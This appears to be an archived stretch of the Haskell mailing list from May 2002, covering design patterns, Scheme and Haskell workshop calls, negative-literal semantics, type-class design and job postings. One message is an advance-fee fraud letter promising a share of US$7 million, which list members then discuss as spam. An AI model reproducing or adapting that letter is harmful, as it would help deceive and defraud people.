References: Message-ID: <3CE3EF96.7B665069@cwi.nl> Ralf.Laemmel@cwi.nl wrote: > Joost Visser and I, we worked out a few maybe not so obvious functional > programming patterns such as Success By Failure, Role Play, Rewrite Step, > Keyhole Operation just to mention a few. By not so obvious I mean that > they deal with generic programming rather than functional programming in > general. > > http://www.cs.vu.nl/Strafunski/dp-sf/ > > We use a certain FORMAT for design patterns, and there is some modest > analysis why this format is appropriate. Also, there is some discussion > why design patterns would do good for functional programming. This might > be interesting in the further process of accumulating design patterns > for functional programming. I have added the design pattern description format to the Haskell wiki: http://haskell.org/wiki/wiki?DesignPatternsForFunctionalStrategicProgramming Perhaps it would be interesting to see if some of the CommonHaskellIdioms described on this wiki can be cast into the proposed design pattern format as well. Joost -- http://www.cwi.nl/~jvisser/ From shivers@cc.gatech.edu Thu May 16 23:16:31 2002 From: shivers@cc.gatech.edu (Olin Shivers) Date: Thu, 16 May 2002 18:16:31 -0400 (EDT) Subject: Subject: Scheme Workshop 2002 -- submission deadline extended Message-ID: <200205162216.g4GMGV710519@tokyo.cc.gatech.edu> The Scheme Workshop submission deadline has been extended two weeks. The new submission deadline is May 31 (2200 UTC). The 2002 Scheme Workshop will be in Pittsburgh in October, the day before ICFP. We will be planning not only presentation of papers but also some interesting group discussions. Going by the previous workshops, it should be a useful and fun day for just about anyone with an interest in Scheme or functional programming languages. I hope to see you there, and I especially encourage people to submit papers to the program committee. Please take a moment to read the "call for papers" I've appended below, and see if you have a topic or result you would like to submit to the program committee. See you in Pittsburgh. -Olin Shivers workshop chairman ACM SIGPLAN 2002 Scheme Workshop Thursday, October 3, 2002 Pittsburgh, Pennsylvania The workshop forms part of PLI 2002, which consists of the ICFP and PPDP conferences and other workshops. Full details on the workshop can be found at URL . ------------------------------------------------------------------------------- * Scope ------- The purpose of the workshop is to discuss experience with and future developments of the Scheme programming language, as well as general aspects of computer science loosely centered on the general theme of Scheme. Papers are invited concerning all aspects of the design, semantics, theory, application, implementation, and teaching of Scheme. Some example areas include (but are not limited to): - Theory Formal semantics, correctness of analyses and transformations, lambda calculus. - Design critiques Limitations of the language, future directions. - Linguistic extensions Scheme's simple syntactic framework and minimal static semantics has historically made the language an attractive "lab bench" for the development and experimentation of novel language features and mechanisms. Topics in this area include modules systems, exceptions, control mechanisms, distributed programming, concurrency and synchronisation, macro systems, and objects. - Type systems Static analyses for dynamic type systems, type systems that bridge the gap between static and dynamic types, static systems with "type dynamic" extensions, weak typing. - Implementation Compilers, optimisation, virtual machines, resource management, interpreters, foreign-function interfaces, partial evaluation, and generally implementations with novel or noteworthy features. - Program-development environments The Lisp and Scheme family of programming languages have traditionally been the source of innovative program-development environments. Authors working on these issues are encouraged to submit papers describing their technologies. - Education Scheme has achieved widespread use as a tool for teaching computer science. Papers on the theory and practice of teaching with Scheme are invited. - Applications and experience Interesting applications which illuminate aspects of Scheme; experience with Scheme in commercial or real-world contexts; use of Scheme as an extension or scripting language. - Scheme pearls Elegant, instructive examples of functional programming. A "Scheme pearl" submission is a special category, and should be a short paper presenting an algorithm, idea or programming device using Scheme in a way that is particularly elegant. ------------------------------------------------------------------------------- * Proceedings ------------- The proceedings of the conference will be published as a Georgia Tech College of Computing technical report. A special issue of the journal Higher-Order and Symbolic Computation about Scheme is planned afterwards. ------------------------------------------------------------------------------- * Important dates ----------------- - Submission deadline: 2200 UTC, 31 May, 2002 - Notification of acceptance or rejection: 26 July, 2002 - Final paper due: 31 August, 2002 - Workshop: 3 October, 2002 ------------------------------------------------------------------------------- * Submission guidelines ----------------------- Authors should submit a 100-200 word abstract and a full paper by 22:00 Universal Coordinated Time on Thursday, 31 May, 2002. (Note that 2200 UTC is 1800 EDT, or 1500 PDT.) Submissions will be carried out electronically via the Web, at . Papers must be submitted in PDF format, or as PostScript documents that are interpretable by Ghostscript, and they must be printable on US Letter sized paper. Individuals for which this requirement is a hardship should contact the program chair at least one week before the deadline. There are two classes of submissions: reular papers and short papers: - Regular papers Submissions should be no more than 12 pages (including bibliography and appendices) in standard ACM conference format: two columns, nine point font on ten point baseline, page 20pc (3.33in) wide and 54pc (9in) tall with a column gutter of 2pc (0.33in). Authors wishing to supply additional material to the reviewers beyond the 12 page limit can do so in clearly marked appendices, on the understanding that reviewers are not required to read the appendices. Submissions that do not meet these guidelines will not be considered. Suitable style files for Latex, Word, and Word Perfect can be found on the submission Web site. Submitted papers must have content that has not previously been published in other conferences or refereed venues, and simultaneous submission to other conferences or refereed venues is unacceptable. Each paper should explain its contributions in both general and technical terms, clearly identifying what has been accomplished, saying why it is significant, and comparing it with previous work. Authors should strive to make the technical content of their papers understandable to a broad audience. - Short papers Short papers need not present novel research; it is sufficient that they present material of interest or utility to the Scheme or functional-programming community. "Scheme pearls" submissions should be presented as short papers. Short papers should be formatted with the same guidelines as regular papers, but are expected to be typically around six pages in length. ------------------------------------------------------------------------------- * Organisers ------------ Workshop chair: Olin Shivers College of Computing Georgia Tech Atlanta, Ga 30332-0280 +1 404 385.00.91 shivers@cc.gatech.edu Steering committee: William D Clinger (Northeastern University) Marc Feeley (University of Montreal) Matthias Felleisen (Northeastern University) Matthew Flatt (University of Utah) Dan Friedman (Indiana University) Christian Queinnec (University Paris 6) Manuel Serrano (INRIA) Mitchell Wand (Northeastern University) Program committee: Alan Bawden (Brandeis) Olivier Danvy (University of Aarhus) Richard Kelsey (Ember, Corp.) Brad Lucier (Purdue University) Paul Steckler (Northeastern University) Andrew Wright (Aleris) Publicity: Shriram Krishnamurthi (Brown University) From hallgren@cse.ogi.edu Thu May 16 23:26:31 2002 From: hallgren@cse.ogi.edu (Thomas Hallgren) Date: Thu, 16 May 2002 15:26:31 -0700 Subject: Negative literals and the meaning of case -2 of -2 -> True Message-ID: <3CE43217.50107@cse.ogi.edu> Hi, The Haskell report seems pretty clear about the meaning of numeric literals and negation in expressions: -2 should be interpreted as negate (fromInteger 2). That is, negated literals are not treated specially, the general rule -(e) ==> negate (e) applies. (See section 3.2 and 3.4 of the Haskell 98 report [1].) The mening of numeric literals in patterns also seems clear (section 3.17.2 says " The interpretation of numeric literals is exactly as described in Section 3.2), but the report does not say anything explicit about negated literals, although negated numeric literals is a special case in the syntax. Presumably, numeric literals should be understood as including negated numeric literals in the sections defining the meaning of pattern matching? To find out how Haskell implementations treat negated literals, I tested the following program: ------------------------------------------------ main = print (minusTwo,trueOrFalse) minusTwo = -2::N trueOrFalse = case minusTwo of -2 -> True _ -> False data N = Negate N | FromInteger Integer deriving (Eq,Show) instance Num N where negate = Negate fromInteger = FromInteger ------------------------------------------------- The result is: * hugs Dec 2001: main outputs: (FromInteger (-2),True) * ghc 5.02.2: main outputs: (FromInteger (-2),True) * hbc 0.9999.5b: main outputs: (Negate (FromInteger 2),False) * nhc98 1.12: compiler outputs: Fail: What? matchAltIf at 7:13 From this I conclude that hbc is the only Haskell implementation that treats negated literals in expressions in accordance with the report, but it treats negated literals in patterns differently. Hugs and ghc treat expressions and patterns consistently, but they disagree with the report. Nhc98 appears to be buggy. Perhaps this is not a serious problem, but wouldn't it be nice if the report and the implementations agreed on this point? I bet Simon PJ will suggest that the report is changed to match GHC, rather than vice versa, as usual :-) I think the report is right, but the meaning of negated literals in patterns could be clearer... References [1] Haskell 98 report http://research.microsoft.com/~simonpj/haskell98-revised/haskell98-report-html/ From andrew@bromage.org Fri May 17 00:14:26 2002 From: andrew@bromage.org (Andrew J Bromage) Date: Fri, 17 May 2002 09:14:26 +1000 Subject: infix type constructors In-Reply-To: <1113DDB24D4A2841951BFDF86665EE1901041F16@RED-MSG-10.redmond.corp.microsoft.com> References: <1113DDB24D4A2841951BFDF86665EE1901041F16@RED-MSG-10.redmond.corp.microsoft.com> Message-ID: <20020516231426.GA14477@smtp.alicorna.com> G'day all. On Thu, May 16, 2002 at 07:24:10AM -0700, Simon Peyton-Jones wrote: > I'm slowly getting around to this. Design questions: > > (A) I think it would be a good compromise to declare that operators > like "+" are type *constructors* not type *variables*. So > S+T > would be a type. That's slightly inconsistent with value variables, > but it's jolly useful. So only alphabetic things would be type > variables. While we're at it, could we have infix notation for type classes too? class (a * b) c | a b -> c where (*) :: a -> b -> c Cheers, Andrew Bromage From vincentyeri@hotmail.com Fri May 17 00:59:58 2002 From: vincentyeri@hotmail.com (vincent yerima) Date: Thu, 16 May 2002 23:59:58 +0000 Subject: ASSIST ME Message-ID: CONFIDENTIAL BUSINESS PROPOSAL You may be suprise to receive this letter from me since you dont know me personally. The purpose of my introduction is that I am VINCENT YERIMA, the first son of DAVID YERIMA, the most popular farmer in Zimbabwe who was recently murdered in the land dispute in my country. I got your contact through network online hence decide to write you. Before the death of my father, he had taken me to Johannesburg to deposit the sum of US$7,000,000.00(seven million united states of America dollars)in one security company as he forsaw the coming danger in Zimbabwe. This money wasdeposited in a box as gemstones in to avoid much demurage from the security company.This amount was meart for the purchase of new machines and chemicals for the new farm and establishment in Swziland. This land problems came when Zimbawean president ROBERT MUGABE introduced a new land act reform wholly affected the rich white farmers and some few black farmers. And this resulted to the killing and mob action by Zimbabwe war returns and some lunatics in the society.It is agaist this background that I and my family fled Zimbabwe for fear of our lives and currently staying in The Netherlands where we seek political asylum and mooreso have decided to transfer my father' money to more reliable foreign account sinces the law of The netherland prohibits a refugee to open any bank account or to be involveed in any financial transaction throughout the territorial zone of Netherland . as the eldest son of my father , I am saddled to with the respobility of seeking a genuine foreign account where this money could be transfered without the the knowledge of my government who are bert on taking everything we have got.The South Africa government seems to be playing along with them. I am faced with the delima of moving this amount of money out of South Africa for fear of going through the same experience in futre, both countries have similar political history. I am seeking for a partner who I have to entrust my future and family in his hand , I must let you know that this transaction is risk free. If you accept to assist me andmy family , all I want you to do for me , is to arrange with the security company to clear the consignment (funds) from their afiliate office here in the Netherlands as I have already given directives for the consignment to be brought to The Netherlands from South Africa. But before then all modalities will have to be put in place e.g change of ownershipto the consignment and this money intend I intend to use for investment . I have two options for you , firstly you can choose to have certain percentage of the money or you can go into partnership with me for the proper profitable investment of the money in your country . Which ever the option you want , feel free to notify me. I have aslo mapped out 5% of the money for all kinds of expense incured in the process of this transaction. If you do not prefer a partnership I a willing to give you 15% of the money while the remaining 80% will be for my investment inin your country. Contact me with the above email address while i imlore you to maintain the absolute secrecy required in this transaction. Thanks God bless you Vincent Yerima _________________________________________________________________ Get your FREE download of MSN Explorer at http://explorer.msn.com/intl.asp. From konsu@microsoft.com Fri May 17 01:02:59 2002 From: konsu@microsoft.com (Konst Sushenko) Date: Thu, 16 May 2002 17:02:59 -0700 Subject: ASSIST ME Message-ID: (the original confidential business proposal removed) Hello, It was my impression that the list maintainers were considering making this list moderated, or open only to subscribers. Is there a decision on that? Thanks konst From peterson-john@cs.yale.edu Fri May 17 02:10:14 2002 From: peterson-john@cs.yale.edu (John Peterson) Date: Thu, 16 May 2002 21:10:14 -0400 Subject: ASSIST ME In-Reply-To: (konsu@microsoft.com) References: Message-ID: <200205170110.g4H1AE826556@ragged.cs.yale.edu> The current plan is to filter via spews. We could go to member-only posting if that's what people want but it means that students asking their homework questions will have a harder time :-). Plus if the list is redistributed that's another problem. Our original spam filter was generating complaints so we've turned it off until we get the spews filter up and going. Send me comments and suggestions - I'm no expert in this area. John From hugs-users-admin@haskell.org Fri May 17 03:38:01 2002 From: hugs-users-admin@haskell.org (hugs-users-admin@haskell.org) Date: Thu, 16 May 2002 22:38:01 -0400 (EDT) Subject: Your message to Hugs-Users awaits moderator approval Message-ID: <20020517023801.61A59422237@www.haskell.org> Your mail to 'Hugs-Users' with the subject Is being held until the list moderator can review it for approval. The reason it is being held: Message body is too big: 133787 bytes but there's a limit of 40 KB Either the message will get posted to the list, or you will receive notification of the moderator's decision. From ashley@semantic.org Fri May 17 07:48:58 2002 From: ashley@semantic.org (Ashley Yakeley) Date: Thu, 16 May 2002 23:48:58 -0700 Subject: Class Multiplicity Message-ID: <200205170648.XAA01397@mail4.halcyon.com> I have a curious Haskell design pattern. It's called "one class per function". It's strange, but I find that as I need more and more generality, I end up with classes that look like this: class (Monad m) => MonadGettableReference m r where { get :: forall a. r a -> m a; }; class (Monad m) => MonadSettableReference m r where { set :: forall a. r a -> a -> m (); }; ...and then I'll have a bunch of "joining" classes. Here's a joining class: class ( MonadGettableReference m r, MonadSettableReference m r ) => MonadFixedReference m r; instance ( MonadGettableReference m r, MonadSettableReference m r ) => MonadFixedReference m r; Sooner or later, for maximum generality they're all going to look like this: class Foo a where { foo :: a; }; class Bar a where { bar :: a; }; class ( Monad m, forall a. Foo (a -> m a), -- pending appropriate extension forall b. Bar (m b) ) => FooBar m; instance ( Monad m, forall a. Foo (a -> m a), forall b. Bar (m b) ) => FooBar m; I'm not sure if this is a good thing or a bad thing or what. -- Ashley Yakeley, Seattle WA From karczma@info.unicaen.fr Fri May 17 09:00:41 2002 From: karczma@info.unicaen.fr (Jerzy Karczmarczuk) Date: Fri, 17 May 2002 10:00:41 +0200 Subject: What does FP do well? (was How to get ...) References: <200205161337.g4GDbdp19222@mail2.it.kth.se> <200205161423.QAA07496@ripper.it.kth.se> Message-ID: <3CE4B8A9.CB2A26B@info.unicaen.fr> Bjorn Lisper: > ...sometimes the length of a list being returned from a > function can be a simple function of the function arguments (or the sizes of > the arguments), think of map for instance. In such cases, a static program > analysis can sometimes find the length function. If we know thee functions > for all list-producing functions in a closed program, then the lists could > be represented by arrays rather than linked structures. > > I know Christoph Herrmann worked on such a program analysis some years > ago. Also, I think Manuel Hermenegildo has done this for some logic > language. Andrew Appel wrote something about "pointer-less" lists as well. What bothers me quite strongly is the algorithmic side of operations upon such objects. Typical iterations map- (or zip-) style: do something with the head, pass recursively to the tail, would demand "intelligent" arrays, with the indexing header detached from the bulk data itself. The "consumed" part could not be garbage collected. In a lazy language this might possibly produce a considerable amount of rubbish which otherwise would be destroyed quite fast. The concatenation of (parts of) such lists might also have very bad behaviour. Can you calm my anxiety? Jerzy Karczmarczuk From jim@farrand.net Fri May 17 09:00:43 2002 From: jim@farrand.net (Jim Farrand) Date: Fri, 17 May 2002 09:00:43 +0100 Subject: ASSIST ME In-Reply-To: <200205170110.g4H1AE826556@ragged.cs.yale.edu> References: <200205170110.g4H1AE826556@ragged.cs.yale.edu> Message-ID: <200205170900.43153@farrand.net> On Friday 17 May 2002 02:10, John Peterson wrote: > We could go to member-only > posting if that's what people want but it means that students asking > their homework questions will have a harder time :-). Surely that's a good thing! Maybe they will go to the people who are paid to help them, or maybe even try themselves, rather than posting their assigned questions verbatim to the list. On the other hand, maybe they will subscribe to the list and continue as before. Regards, Jim From lisper@it.kth.se Fri May 17 09:57:54 2002 From: lisper@it.kth.se (Bjorn Lisper) Date: Fri, 17 May 2002 10:57:54 +0200 (MET DST) Subject: What does FP do well? (was How to get ...) In-Reply-To: <3CE4B8A9.CB2A26B@info.unicaen.fr> (message from Jerzy Karczmarczuk on Fri, 17 May 2002 10:00:41 +0200) References: <200205161337.g4GDbdp19222@mail2.it.kth.se> <200205161423.QAA07496@ripper.it.kth.se> <3CE4B8A9.CB2A26B@info.unicaen.fr> Message-ID: <200205170857.KAA22581@ripper.it.kth.se> Jerzy: >Me: >> ...sometimes the length of a list being returned from a >> function can be a simple function of the function arguments (or the sizes of >> the arguments), think of map for instance. In such cases, a static program >> analysis can sometimes find the length function. If we know thee functions >> for all list-producing functions in a closed program, then the lists could >> be represented by arrays rather than linked structures. >> >> I know Christoph Herrmann worked on such a program analysis some years >> ago. Also, I think Manuel Hermenegildo has done this for some logic >> language. > >Andrew Appel wrote something about "pointer-less" lists as well. > >What bothers me quite strongly is the algorithmic side of operations >upon such objects. > >Typical iterations map- (or zip-) style: do something with the head, pass >recursively to the tail, would demand "intelligent" arrays, with the indexing >header detached from the bulk data itself. The "consumed" part could not be >garbage collected. In a lazy language this might possibly produce a considerable >amount of rubbish which otherwise would be destroyed quite fast. The >concatenation of (parts of) such lists might also have very bad behaviour. > >Can you calm my anxiety? No, since you're right. For instance, "stream"-type list computations, where list elements are used and then discarded, will not benefit from this kind of transformation. (They will be better optimized by deforestation.) List-to-array conversion will work best with computations where many different elements are used many times. Björn From ng13@mcs.le.ac.uk Fri May 17 10:04:31 2002 From: ng13@mcs.le.ac.uk (N Ghani) Date: Fri, 17 May 2002 10:04:31 +0100 Subject: Positions Available Message-ID: <200205170904.g4H94U600220@ithaca.mcs.le.ac.uk> There are a number of people interested in FP at the University of Leicester, so maybe we can increase that number ... -------------------------------------------------------------------- UNIVERSITY OF LEICESTER DEPARTMENT OF MATHEMATICS AND COMPUTER SCIENCE The Department of Mathematics and Computer Science invites applications for five positions in Computer Science. One position is at the professorial level and the others are lectureships, which are at a similar level to assistant professor positions in North America. The Department is divided into three groups: Computer Science, Pure Mathematics and Applied Mathematics. The current research interests of the Computer Science group are in Logic, Algorithms & Complexity, Theory of Distributed & Reactive Systems and Semantics. The appointments are intended to diversify and strengthen the Computer Science group with regards to both teaching and research. The successful applicants will be ambitious, able to develop their own research within a multi-faceted environment, and have a strong research record and potential. This is a superb opportunity for persons of energy, drive and ambition to assume rewarding roles and to establish themselves in a young, dynamic and rapidly developing department. Information about all aspects of the Department is available from its web pages [http://www.mcs.le.ac.uk]. /\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\ CHAIR IN COMPUTER SCIENCE (Ref: P9044) We are looking for a person of drive and enthusiasm to create a leading research group. Candidates whose research interests are complementary to the existing research groups are particularly encouraged to apply. Nevertheless, applications are welcomed from individuals with an outstanding research record in any area of Computer Science. The appointment will commence on a date to be agreed. The salary will be within the professorial range. Further particulars are available from: Personnel Office (Professorial Appointments), University of Leicester, University Road, Leicester, LE1 7RH, U.K. Tel: (+44) (0)116 252 2422, Fax: (+44) (0)116 252 5140, email: pt31@le.ac.uk, web: www.le.ac.uk/personnel/jobs. Candidates should submit one unbound copy of their application to the Personnel Office (Professorial Appointments). Closing date: 21st June 2002 /\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\ LECTURERS A/B IN COMPUTER SCIENCE (Ref: A5485) 20,470 to 32,537 pounds pa (March 2002 pay scales) Available from 1st September 2002 LECTURER A IN COMPUTER SCIENCE (Ref: A5504) 20,470 to 24,435 pounds pa (March 2002 pay scales) Available for 2 years from 1st September 2002 Applications are invited for three lectureships (to start 1st September 2002 or as soon as possible thereafter) and a two-year lectureship in Computer Science (to start 1st September 2002). There is no restriction regarding the area of research and applicants with expertise in any area of Computer Science are welcomed. Application forms and further particulars are available (by quoting the reference) from Personnel Office, University of Leicester, University Road, Leicester, LE1 7RH, U.K. Tel: (+44) (0)116 252 5114, Fax: (+44) (0)116 252 5140, email: jobs@le.ac.uk, web: www.le.ac.uk/personnel/jobs. Closing date: 10th June 2002 /\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\ Candidates who are interested in any of these positions are invited, if they so wish, to contact either of: Prof Rajeev Raman Professor Rick Thomas, Head of Computer Science Head of Department, telephone (+44) (0)116 252 3894 telephone (+44) (0)116 252 3885 email rr29@mcs.le.ac.uk e-mail rmt@mcs.le.ac.uk who will be pleased to discuss the positions further. From simonmar@microsoft.com Fri May 17 10:34:18 2002 From: simonmar@microsoft.com (Simon Marlow) Date: Fri, 17 May 2002 10:34:18 +0100 Subject: Negative literals and the meaning of case -2 of -2 -> True Message-ID: <9584A4A864BD8548932F2F88EB30D1C60931A932@TVP-MSG-01.europe.corp.microsoft.com> > To find out how Haskell implementations treat negated=20 > literals, I tested=20 > the following program: >=20 > ------------------------------------------------ > main =3D print (minusTwo,trueOrFalse) >=20 > minusTwo =3D -2::N >=20 > trueOrFalse =3D > case minusTwo of > -2 -> True > _ -> False >=20 > data N =3D Negate N | FromInteger Integer deriving (Eq,Show) >=20 > instance Num N where > negate =3D Negate > fromInteger =3D FromInteger > ------------------------------------------------- >=20 > The result is: >=20 > * ghc 5.02.2: main outputs: (FromInteger (-2),True) GHC has two bugs in this area, one of which has been fixed recently. The current output is (Negate (FromInteger 2),False) (i.e. the same as hbc). We were being a little too eager to replace 'negate (fromInteger N)' by 'fromInteger (-N)'. There is also a bug in the pattern handling, however. Thanks for a nice test case... Cheers, Simon From ssgrr2002s@rti7020.etf.bg.ac.yu Fri May 17 14:07:28 2002 From: ssgrr2002s@rti7020.etf.bg.ac.yu (ssgrr2002s@rti7020.etf.bg.ac.yu) Date: Fri, 17 May 2002 15:07:28 +0200 Subject: Call for papers for the SSGRR 2002s. Conference in L`Aquila near Rome,Italy (Jul 29 - Aug 4 2002.) Message-ID: <200205171307.PAA30442@avala.yubc.net> Dear Dr. Haskell, I have been appointed to serve as the General Chair of the Summer 2002 edition of the SSGRR series of international conferences. The SSGRR-2002S (Summer) conference on "Infrastructure for e-Business, e-Education, e-Science, and e-Medicine" takes place in SSGRR (Scuola Superiore G. Reiss Romoli), the delux congress and educational center of the Telecom Italia Group of companies. Programming-related papers (C,C++,JAVA,etc...) are of special interest for this conference, and your contributions are welcome! This is in L'Aquila near Rome, Italy, from July 29 (Monday) at 5pm (start of the Grand Opening) till August 4 (Sunday) at 10am (departure of busses to the Rome airport Fiumicino and the railway station Tiburtina). Most of the past participants beleive that this was one of the most interesting, most useful, and definitely THE most hospitable conference they ever attended. The SSGRR-2002S will be open by Jerome Friedman from MIT (laureate of the NOBEL PRIZE) and Travor Gruen-Kennedy of Citrix (listed by some sources as one of the world's TOP-25 contributors to the development of the Internet). For details, see the WWW site of the conference (www.ssgrr.it/en/ssgrr2002s/index.htm). Among other things, this WWW site also includes the full-blown version of the invitation letter-contract, with all relevant details (www.ssgrr.it/en/ssgrr2002s/invitation.htm). The soft deadline for you to decide if you are coming is May 25, 2002 (in the worst case you should respond before May 31th). By that date the place for you is unconditionally reserved. After that date, you will be accepted to the conference only if the existing 240 places are not filled. Before May 25, 2002, please send only the following: (a) TITLE, (b) AUTHORS, (c) AFFILIATION, (d) ABSTRACT, and (e) STATEMENT THAT YOU WILL COME 100% (answers like "maybe" will be treated as NO answer from you). The full paper is due on June 20, 2002. The early registration price for the 6-day stay at SSGRR is EURO1200 (if you represent an institution) or EURO1440 (if you come as an individual). Coming without a paper costs you extra EURO600 or EURO720, respectively. Deadline for the early registration is June 30, 2002. If you come with an accompanying person, the early registration extra cost is EURO300, for 6 days of bed and breakfast, in an external hotel (please note that the best external hotels are 4-star, and not nearly as comfortable as the accommodation in the SSGRR complex). The SSGRR complex includes only single-bed rooms, and therefore available only to those who come without an accompanying person. If you have any questions, please check the WWW site of the conference and especially the part entitled FAQ(Frequently Asked Questions). If you still have questions or there is something that we can do for you, please write to Organizing Committee at ssgrr2002s@rti7020.etf.bg.ac.yu (preferred) or if absolutely necessary, to myself directly (vm@etf.bg.ac.yu). Sincerely yours, Professor V. M. Milutinovic, General Chair of the SSGRR-2002S (galeb.etf.bg.ac.yu/~vm/) P.S. No matter if you will attend the SSGRR-2002S conference or not, please let us know if you like to be invited to the Winter edition of the year 2003 (SSGRR-2003W) to be held in the same place from January 6, 2003 at 5pm till January 12, 2003 at 10am. Shall we reinvite you? Of course, if you wish not to receive again information about the SSGRR conferences, please let us know, and we will remove your name from our list. IMPORTANT DETAILS: 1. Your presentation is 25 minutes, plus 5 minutes for discussion and the change of speakers. 2. The author of the LAST paper in the session is the session chairman, so he/she is motivated to respect the timing. The slots of the non-show-up papers are to be used for extra discussions. Moving of presentation slots is NOT permitted. 3. Timing of the session is given on the WWW site of the conference. 4. Special sessions are dedicated to advanced programming, 5. More information on the SSGRR center is given on the WWW site of the conference. 6. Transportation related information, on July 29 from Tiburtina station in Rome to SSGRR in L'Aquila, and on August 4 from L'Aquila to Tiburtina station and Fiumicino airport is given in the conference WWW site (pay attention to FAQ). 7. Details of the food schedule, social program, and all other relevant details are also given on the WWW site of the conference. From dominic.j.steinitz@britishairways.com Fri May 17 14:53:54 2002 From: dominic.j.steinitz@britishairways.com (dominic.j.steinitz@britishairways.com) Date: Fri, 17 May 2002 14:53:54 +0100 Subject: Dependent Types Message-ID: Robin, Thanks very much for this. My problem turned out to be tripping over th= e monomorphism restriction. When I looked at this it looked like a candid= ate for dependent types but as you point out you can solve this just as wel= l in Haskell 98. You save a set of brackets with my approach! Dominic. Jon Fairbairn @haskell.org on 16/05/2002 16:45:28 Sent by: haskell-admin@haskell.org To: "Dominic Steinitz" wrote: > I've managed to crack something that always annoyed me when I used to= do > network programming. [. . .] > > Suppose I want to send an ICMP packet. The first byte is the type and= the > second byte is the code. Furthermore, the code depends on the type. N= ow you > know at compile time that you can't use codes for one type with a different > type. However, in Pascal (which is what I used to use) you only seeme= d to > be > able to carry out run time checks. I'm not sure I understand your problem. I don't see what's wrong with the following approach, which is Haskell 98. The type byte is coded as the type of the packet. Excuse the perhaps ideosyncratic style ... (in particular, I'm expecting people to use import qualified with this). module ICMP where data Type =3D Redirect RedirectData | TimeExceeded TimeData {- so you get an alternative for each of the packet types -} instance Enum Type where fromEnum (Redirect _) =3D 5 fromEnum (TimeExceeded _) =3D 11 {- we can't derive Enum for ICMP.Type, because it has non-nullary constructors. That just makes it a bit more tedious One could provide a class "code" with code:: t -> Int instead of fromEnum -} {- now we define individual record types for each of the different ICMP types -} data RedirectData =3D RedirectData {redirectCode:: RedirectCode, ip_addr:: Int, -- whatever redirectData:: [Int]} -- or whatever data RedirectCode =3D RedirNet | RedirHost | RedirNetToS | RedirHostToS deriving Enum data TimeData =3D TimeData {timeCode:: TimeExceededCode, timeData:: [Int]} -- or whatever data TimeExceededCode =3D ExcTTL | ExcFragTime deriving Enum {- Since Haskell 98 doesn't have MPTCs, if we want to encode packets as anything other than [Int] we'd have to define more classes. Encode serves as an example. -} class Encode t where encode:: t -> [Int] instance Encode Type where encode p@(Redirect d) =3D fromEnum p: encode d encode p@(TimeExceeded d) =3D fromEnum p: encode d instance Encode RedirectData where encode d =3D fromEnum (redirectCode d): ip_addr d: redirectDat= a d instance Encode TimeData where encode d =3D fromEnum (timeCode d): 0: timeData d so one can go encode (Redirect (RedirectData RedirNet 0 [0])) and get [5,0,0,0], but encode (TimeExceeded (TimeData RedirNet 0 [0])) gives an error, as one would hope. What am I missing? Cheers, J=F3n -- J=F3n Fairbairn Jon.Fairbairn@cl.cam.ac= .uk 31 Chalmers Road jf@cl.cam.ac.u= k Cambridge CB1 3SZ +44 1223 570179 (after 14:00 only, please!= ) _______________________________________________ Haskell mailing list Haskell@haskell.org http://www.haskell.org/mailman/listinfo/haskell -----------------------------------------------------------------= -------------------------------- Save time by using an eTicket and our Self-Service Check-in Kiosk= s. For more information go to http://www.britishairways.com/eservice= 1 = From bhuffman@galois.com Fri May 17 17:31:19 2002 From: bhuffman@galois.com (Brian Huffman) Date: Fri, 17 May 2002 09:31:19 -0700 Subject: Class Multiplicity In-Reply-To: <200205170648.XAA01397@mail4.halcyon.com> References: <200205170648.XAA01397@mail4.halcyon.com> Message-ID: <200205170931.19721.bhuffman@galois.com> On Thursday 16 May 2002 11:48 pm, Ashley Yakeley wrote: > I have a curious Haskell design pattern. It's called "one class per > function". > [...] > I'm not sure if this is a good thing or a bad thing or what. You might want to take a look at the class system for the language Concurrent Clean. It encourages a "one class per function" setup similar to the one you mentioned, but without nearly as much syntax. The following is quoted from http://www.cs.kun.nl/~clean/About_Clean/tutorial/tutorial.html: In Clean a class is a family of functions with the same name.... As a very simple example consider the class of increment functions. class inc t :: t -> t This says that the class inc has type variable t. There is only a single manipulation function in this class, which is also named inc. The type of this increment function is t -> t. Instances of this class for integers and reals are defined by: instance inc Int where inc i = i+1 instance inc Real where inc r = r+1.0 ... - Brian Huffman From matush23@netscape.net Fri May 17 22:13:12 2002 From: matush23@netscape.net (matush23@netscape.net) Date: Fri, 17 May 2002 17:13:12 -0400 Subject: I need to know Message-ID: <730B4492.5BC6C814.009FF9B7@netscape.net> Hi. Im a new haskell user, I know there are library about graphs, but i need to know all the info about, where I can download this library, and what can i do with it, and how can I use it. Thanks. __________________________________________________________________ Your favorite stores, helpful shopping tools and great gift ideas. Experience the convenience of buying online with Shop@Netscape! http://shopnow.netscape.com/ Get your own FREE, personal Netscape Mail account today at http://webmail.netscape.com/ From andrew@bromage.org Sat May 18 08:41:52 2002 From: andrew@bromage.org (Andrew J Bromage) Date: Sat, 18 May 2002 17:41:52 +1000 Subject: Class Multiplicity In-Reply-To: <200205170648.XAA01397@mail4.halcyon.com> References: <200205170648.XAA01397@mail4.halcyon.com> Message-ID: <20020518074152.GB27550@smtp.alicorna.com> G'day all. On Thu, May 16, 2002 at 11:48:58PM -0700, Ashley Yakeley wrote: > I have a curious Haskell design pattern. It's called "one class per > function". When used in conjunction with fundeps, I call it "hacking C++-style function overloading". Sometimes I think it would be handy if the Prelude used it more, because then you could have full overloading for types which don't quite play by the rules of the standard classes. For example: class Mult a b c | a b -> c where (*) :: a -> b -> c class Add a b c | a b -> c where (+) :: a -> b -> c {- etc -} class (Mult a a a, Add a a a, {- etc -}) => Num a where {- etc -} Then you could use the standard notation to multiply matrices with vectors and Haskell wouldn't complain. I'm not sure that this is necessarily something to be encouraged, of course... Cheers, Andrew Bromage From ashley@semantic.org Sat May 18 09:08:07 2002 From: ashley@semantic.org (Ashley Yakeley) Date: Sat, 18 May 2002 01:08:07 -0700 Subject: Class Multiplicity Message-ID: <200205180808.BAA20651@mail4.halcyon.com> At 2002-05-18 00:41, Andrew J Bromage wrote: >Sometimes I think it would be handy if the Prelude used it more, >because then you could have full overloading for types which don't >quite play by the rules of the standard classes. For example: I do this sort of thing, see for instance: ...compiled with -fno-implicit-prelude -- Ashley Yakeley, Seattle WA From chak@cse.unsw.edu.au Sat May 18 13:00:36 2002 From: chak@cse.unsw.edu.au (Manuel M. T. Chakravarty) Date: Sat, 18 May 2002 22:00:36 +1000 Subject: CFP: 2002 Haskell Workshop ** submission deadline: 24th May 